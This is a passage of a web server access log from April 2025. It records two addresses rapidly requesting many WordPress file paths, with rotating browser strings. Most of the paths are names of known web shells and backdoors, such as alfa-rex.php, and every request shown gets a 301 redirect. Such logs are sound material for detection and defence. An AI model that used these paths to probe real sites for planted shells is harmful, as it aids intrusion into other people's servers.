/uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /images/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/maint/footerm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:46 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:47 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:48 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 